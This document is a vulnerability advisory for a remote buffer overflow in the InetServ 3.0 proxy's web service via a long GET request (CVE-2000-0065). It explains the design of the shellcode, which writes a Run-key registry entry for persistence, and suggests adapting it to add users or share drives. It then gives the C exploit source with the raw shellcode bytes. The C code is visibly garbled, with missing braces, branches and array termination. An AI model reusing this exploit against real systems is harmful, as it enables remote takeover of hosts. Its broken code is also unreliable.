Long GET Request Vulnerability


InetServ 3.0 on Windows


Bugtraq: 949
CVE: CVE-2000-0065


Buffer overflow


Remote access




Greg Hoglund found following. After downloading a copy of InetServ 3.0 - a proxy server for Windows NT, he started testing a single remotely-addressable function of the software - a web service. In less than 1 minute... his automated testing software had already located a buffer overflow - a childlike and brainless overflow. It appeared that an http GET request with a 537 byte path would own EIP (in other words, allow me to control the remote processor).

This is not an isolated phenomenon. This advisory is not about that one buffer overflow. In fact, we will wager there are at least 10 discrete buffer overflow conditions in this software package alone, all of them exploitable from remote. There may be even more. The fact that Greg was able to find such a simple and easy to discover bug (the GET request - exploitable from a WEB Browser URL!) only substantiates that this piece of software was never adequately tested in QA.

Lets talk about this exploit. The fact that the GET request causes an oveflow is far from noteworthy. We can tell just by the disassembly that there are many more overflows where this came from. What is worth talking about is the payload Greg designed for this exploit. So, the rest of the discussion is about the payload.

One of the most common things a payload does is open a remote shell. A number of months back I wrote a small intrusion prevention tool that rendered all of these overflows harmless - an NT kernel patch that prevents my server software from launching sub-processes. Gee, all of the 'shell' based overflow attacks have been demoted to ankle-biters. Of course, those of you with experience immediately realize that a payload can do anything it wants - and as the virus underground has taught us - there are a million ways to torture a computer. Todays payload does not open a remote shell - rather, it shares all of your hard drives without a password - and does this without launching a single sub-process or even loading any new functions. We are going to attack the NT registry through functions already loaded into the process space. Most processes have useful functions already loaded into address space. Using WDASM and VC++ we are able to find the memory location of the following functions:

        Name:                           Jump Table:             Actual (NTServer 4.0 SP3)
        ADVAPI32.RegCloseKey            [43D004]                77DB75A9
        ADVAPI32.RegCreateKeyExA        [43D008]                77DBA7F9
        ADVAPI32.RegOpenKeyExA          [43D00C]                77DB851A
        ADVAPI32.RegQueryValueExA       [43D010]                77DB8E19
        ADVAPI32.RegSetValueExA         [43D000]                77DBA979
Since we cannot be assured where the location of ADVAPI32.DLL will be mapped, we simply use the jump table itself, which will be loaded in the same location regardless. In order to prevent NULL characters, I XOR my data area with 0x80. The payload first decodes the data area, then calls the following functions in order to add a value to the windows RUN key:
In order to avoid NULL's we used an XOR between registers, as you see in code:
        mov     eax, 77787748
        mov     edx, 77777777
        xor     eax, edx
        push    eax
followed later only by:
        mov     eax, 0x77659BAe
        xor     eax, edx
        push eax
These values translate to addresses in the local area which require a NULL character, hence the XOR. The value in the example is merely "cmd.exe /c" with no parameters. You could easily alter this to add a user to the system, or share a drive. For "script kiddie" purposes you will get nothing here - you'll need to alter the cmd.exe string and alter the size variable in the decode loop (shown here set to 0x46):
                        xor     ecx, ecx
                        mov ecx, 0x46
                        dec             eax
                        xor             [eax], 0x80
                        dec             ecx
                        jnz             LOOP_TOP (75 F9)
Once this runs, check your registry and you'll find the value in question. The value will be executed upon the next reboot. This is a very common way for network worms to operate, incidentally. The only snag when using an http request is that there are some characters that are filtered or special - so you must avoid these. This limits which machine instructions you can directly inject - however there are always wasy to get around such problems. In conclusion, Greg is merely trying to demonstrate that there are many things a buffer overflow can do besides create a shell or download a file - and many forms of host based IDS will not notice this. Now clearly the RUN key is common place for security-savvy people to look, but it could have easily been something else more esoteric.

Attack string


Attack program source


//#include "windows.h"
#include "stdio.h"
#include <sys/types.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

//#include "winsock.h"

#define TARGET_PORT 8000
#define TARGET_IP ""

char aSendBuffer[] =
        //mov           eax, 0x12ED21FF
        //sub           al, 0xFF
        //rol           eax, 0x018
        //mov           ebx, eax
        "\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
        //              xor     ecx, ecx
        //              mov ecx, 0x46
        //              dec             eax
        //              xor             [eax], 0x80
        //              dec             ecx
        //              jnz             LOOP_TOP (75 F9)
        "\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \

        //push  ebx
        "\x53" \

        //mov   eax, 77787748
        //mov   edx, 77777777

        "\xB8\x48\x77\x78\x77" \
        "\xBA\x77\x77\x77\x77" \

        //xor   eax, edx
        //push  eax
        "\x33\xC2\x50" \

        //xor   eax, eax
        //push  eax
        "\x33\xC0\x50" \

        // mov  eax, 0x77659BAe
        // xor  eax, edx
        // push eax

        //mov   eax, F7777775
        //xor   eax, edx
        //push  eax
        "\xB8\x75\x77\x77\xF7" \
        "\x33\xC2\x50" \

        //mov   eax, 7734A77Bh
        //xor   eax, edx
        //call  [eax]
        "\xB8\x7B\xA7\x34\x77" \
        "\x33\xC2" \
        "\xFF\x10" \

        //mov   edi, ebx
        //mov   eax, 0x77659A63
        //xor   eax, edx
        //sub   ebx, eax
        //push  ebx
        //push  eax
        //push  1
        //xor   ecx, ecx
        //push  ecx
        //push  eax
        //push  [edi]
        //mov   eax, 0x7734A777
        //xor   eax, edx
        //call  [eax]
        "\x8B\xFB" \
        "\xBA\x77\x77\x77\x77" \
        "\xB8\x63\x9A\x65\x77\x33\xC2" \
        "\x2B\xD8\x53\x50" \
        "\x6A\x01\x33\xC9\x51" \
        "\xB8\x70\x9A\x65\x77" \
        "\x33\xC2\x50" \
        "\xFF\x37\xB8\x77\xA7\x34" \
        "\x77\x33\xC2\xFF\x10" \

        // halt or jump to somewhere harmless
        "\xCC" \

        // nop (int 3) 92
        // nop (int 3)
        // jmp
        "\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
        /* registry key path "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
        "\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
        "\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
        "\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
        "\xD2\xF5\xEE\x80" \
        /* value name "_UR_HAXORED_" */
        "\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
        /* the command "cmd.exe /c" */

int main(int argc, char* argv[])
        //WSADATA wsaData;
        int s;
        struct sockaddr_in sockaddr;

        sockaddr.sin_family = AF_INET;
        if(3 == argc)
                int port = atoi(argv[2]);
                sockaddr.sin_port = htons(port);
                sockaddr.sin_port = htons(TARGET_PORT);
        if(2 <= argc)
                sockaddr.sin_addr.s_addr = inet_addr(argv[2]);
                sockaddr.sin_addr.s_addr = inet_addr(TARGET_IP);

                //WSAStartup(MAKEWORD(2,0), &wsaData);
                s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if(s == -1)
                        throw strerror(errno);
                if(connect(s, (struct sockaddr *)&sockaddr, sizeof(struct sockaddr)) == -1)
                        throw strerror(errno);
                send(s, aSendBuffer, strlen(aSendBuffer), 0);
        catch(int err)
                fprintf(stderr, "error %d\n", err);
        return 0;